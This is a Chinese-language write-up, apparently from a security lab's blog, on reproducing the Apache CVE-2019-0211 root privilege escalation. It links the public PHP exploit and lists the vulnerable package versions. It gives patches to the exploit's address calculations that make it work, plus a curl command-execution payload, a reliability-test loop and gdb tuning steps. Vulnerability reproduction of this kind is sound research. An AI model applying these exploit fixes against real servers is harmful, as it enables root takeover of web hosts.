专栏首页Seebug漏洞平台Apache 提权漏洞(CVE-2019-0211)复现

Apache 提权漏洞(CVE-2019-0211)复现

作者:Hcamael@知道创宇404实验室

本月Apache被公布了一个提权的漏洞,并且前天在GitHub上公布出了利用脚本,这几天我负责漏洞应急这个漏洞。

本篇文章没有叫:《Apache 提权漏洞分析》是因为我觉得 CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation 这篇文章的分析写的挺好的,所以我没必要再翻译一遍了,本篇文章主要叙述复现该漏洞的过程中踩过的坑。

复现环境

我使用的复现环境是:

# 系统, 跟系统关系不是很大,主要问题是能不能用包管理器安装对应版本的apache
$ lsb_release -a
Distributor ID:Ubuntu
Description:Ubuntu 18.04.1 LTS
Release:18.04
Codename:bionic
# Apache版本,复现的关键就在该版本
$ apache2 -v
Server version: Apache/2.4.29 (Ubuntu)
Server built:   2018-03-02T02:19:31
# php版本
$ php -v
PHP 7.2.15-0ubuntu0.18.04.2 (cli) (built: Mar 22 2019 17:05:14) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.15-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies

1. apache使用apt安装的版本属于已经修复的版本,所以需要指定一下版本:

# apt install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4

2. php直接用apt安装就好了

3. exp地址: https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php

4. 需要开启ssl模块:a2enmod ssl

关于需要开始ssl模块说明:

  1. 就算不开ssl模块,漏洞也是存在的
  2. 就算不开启ssl模块,你自己修改apache配置,能开启其他端口,也是能利用的
  3. 如果只开了80端口,则需要另行找一条利用链,github上公布exp在只开启了一个端口的情况下是无效的
  4. @cfreal的文章中已经说了,我这里在多说句,相关代码可以看看[[1]](#jump1)和[[2]](#jump2)还有SAFE_ACCPET的宏定义:
/* On some architectures it's safe to do unserialized accept()s in the single * Listen case.  But it's never safe to do it in the case where there's * multiple Listen statements.  Define SINGLE_LISTEN_UNSERIALIZED_ACCEPT * when it's safe in the single Listen case. */#ifdef SINGLE_LISTEN_UNSERIALIZED_ACCEPT#define SAFE_ACCEPT(stmt) (ap_listeners->next ? (stmt) : APR_SUCCESS)#else#define SAFE_ACCEPT(stmt) (stmt)#endif

简单的来说,只有在apache开启多个端口的情况下,才会生成mutex互斥锁,而在github上公布的exp就是通过apache的mutex对象来进行利用的。

跑exp中遇到的一些坑

我试过了很多版本,没有一个版本是能直接使用Github上的exp的,在上述表面的版本中,经过调试研究发现了两个问题导致了利用失败:

  1. $all_buckets = $i - 0x10 计算出问题
  2. $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2); 计算出问题

第一个计算all_buckets的地址,使用gdb进行调试,你会发现,这个值并没有算错,但是在执行apache2ctl graceful命令以后,all_buckets 生成了一个新的值,不过只和之前的all_buckets地址差0x38000,所以这个问题很好解决:

$all_buckets = $i - 0x10 + 0x38000;

第二个计算没必要这么复杂,而且在我测试的版本中还是算的错误的地址,直接改成:

$bucket_index = $bucket_index_middle;

ubuntu中的一个坑

我的payload是:curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/2323232"

表面上看是执行成功了,但是却并没有在/tmp目录下发现2323232文件,经过随后的研究发现,systemd重定向了apache的tmp目录,执行下$find /tmp -name "2323232"就找到文件了,不过只有root用户能访问。如果不想让systemd重定向tmp目录也简单:

$ cat /lib/systemd/system/apache2.service [Unit] Description=The Apache HTTP Server After=network.target remote-fs.target nss-lookup.target [Service] Type=forking Environment=APACHE_STARTED_BY_SYSTEMD=true ExecStart=/usr/sbin/apachectl start ExecStop=/usr/sbin/apachectl stop ExecReload=/usr/sbin/apachectl graceful PrivateTmp=false Restart=on-abort [Install] WantedBy=multi-user.target

这项为false就好了,PrivateTmp=false,改完以后重启一下,再测试一遍就能在tmp目录下写文件了

关于成功率的说法

在exp的注释中看到了说该利用没法100%成功,有失败的概率,所以我写了个脚本进行测试:

root@vultr:~# cat check #!/bin/bash SUCC=0 COUNT=0 for i in $(seq 1 20) do let COUNT+=1 /etc/init.d/apache2 stop sleep 1 /etc/init.d/apache2 start if [ -f "/tmp/1982347" ];then rm /tmp/1982347 fi curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/1982347" apache2ctl graceful sleep 1 if [ -f "/tmp/1982347" ];then let SUCC+=1 fi done echo "COUNT: $COUNT" echo "SUCCESS: $SUCC"

我测试的跑了20次的结果:

# ./check ...... COUNT: 20 SUCCESS: 20

并没有遇到失败的情况

总 结

其他版本的还没有进行测试,但是在这里给一些建议。

  1. check all_buckets地址

这个挺简单的,执行完exp以后,有输出对应的pid和all_buckets地址,可以使用gdb attach上去检查下该地址是否正确:p all_buckets

PS:这里要注意下,需要安装dbg包,才有all_buckets符号 :apt install apache2-dbg=2.4.29-1ubuntu4

如果有问题,就调试检查exp中搜索all_buckets地址的流程

如果没问题,就使用gdb attach主进程(root权限的那个进程),然后断点下在make_child,然后执行apache2ctl graceful,执行完然后在gdb的流程跳到make_child函数的时候,再输出一次:p all_buckets,和exp获取的值对比一下,如果一样就没问题了

  1. check my_bucket地址

前面的流程和上面一样,重点关注在make_child函数中的my_bucket赋值的代码:[[3]](#jump3)

这里注意下,因为上面有一个fork,所以在gdb里还要加一句:set follow-fork-mode child

my_bucket的值是一个指针,指向堆喷的地址,如果my_bucket的值没问题,exp基本就没问题了,如果不对,就调整$bucket_index

更 新

debian 9测试成功:

# cat /etc/issue
Debian GNU/Linux 9 \n \l
# apache2 -v
Server version: Apache/2.4.25 (Debian)
Server built:   2018-11-03T18:46:19
# php -v
PHP 7.0.33-0+deb9u3 (cli) (built: Mar  8 2019 10:01:24) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
  with Zend OPcache v7.0.33-0+deb9u3, Copyright (c) 1999-2017, by Zend Technologies

?

参 考 链 接

  1. https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L433
  2. https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L1223
  3. https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L691

本文分享自微信公众号 - Seebug漏洞平台(seebug_org),作者:404实验室

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-04-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 以太坊合约审计 CheckList 之变量覆盖问题

    2018年11月6日,DVP上线了一场“地球OL真实盗币游戏”,其中第二题是一道智能合约题目,题目中涉及到的了一个很有趣的问题,这里拿出来详细说说看。

    Seebug漏洞平台
  • 初识 Fuzzing 工具 WinAFL

    本文前两节将简要讨论 fuzzing 的基本理念以及 WinAFL 中所用到的插桩框架 DynamoRIO ,而后我们从源码和工具使用角度带你了解这个适用于 W...

    Seebug漏洞平台
  • lucky 勒索病毒分析与文件解密

    近日,互联网上爆发了一种名为 lucky 的勒索病毒,该病毒会将指定文件加密并修改后缀名为 .lucky。

    Seebug漏洞平台
  • “神奇”的拉马努金矩阵

    斯里尼瓦瑟·拉马努金(泰米尔语:ஸ்ரீனிவாஸ ராமானுஜன் ஐயங்கார்,ISO 15919转写:Srīṉivāsa Rāmāṉujan Aiy...

    滚神大人
  • 业界 | 探索系统化技术产品,科大讯飞深度布局医疗行业

    机器之心原创 作者:邱陆陆 近日,科大讯飞智慧医疗事业部总经理陶晓东与常务副总经理鹿晓亮接受了媒体采访,回答了关于讯飞部署人工智能 + 医疗的战略意义、相...

    机器之心
  • 面试题42(在JAVA中,下列哪些是Object类的方法)

    在JAVA中,下列哪些是Object类的方法? ---- A synchronized() B wait() C notify() D notifyAll()...

    Java学习
  • 腾讯云TKE使用

    以下通过视频方式来分别介绍“搭建wordPress”、“腾讯云TKE容器创建Nginx”和“手工搭建Hello world 服务”,因为很多细节不能整理入博客建...

    研究僧
  • 单细胞测序(scRNA-seq)通关||数据处理必知必会

    其实单细胞测序已有十年的历史了,十年来,通量不断提升,成本不断降低,已经到了“旧时王谢堂前燕,飞入寻常百姓家”的历史阶段。不信请看《Nature Methods...

    百味科研芝士
  • Excel实战技巧79: 在工作表中创建让输入的密码显示*号的登录界面

    在工作表中,我们可以创建简单的用户名和密码登录框,并且像专业的密码框界面那样,在用户输入密码时显示的是*号。下面,我们来详细介绍制作过程。

    fanjy
  • 有点意思的Kotlin的默认参数与JVMOverloads

    在Java中,当我们定义一个类的时候,总会出现一些变量是必须要填写的,而另一些是可选的。比如像下面这样,我们定一个Person类,其中name是必须填写的,而性...

    技术小黑屋

扫码关注云+社区

领取腾讯云代金券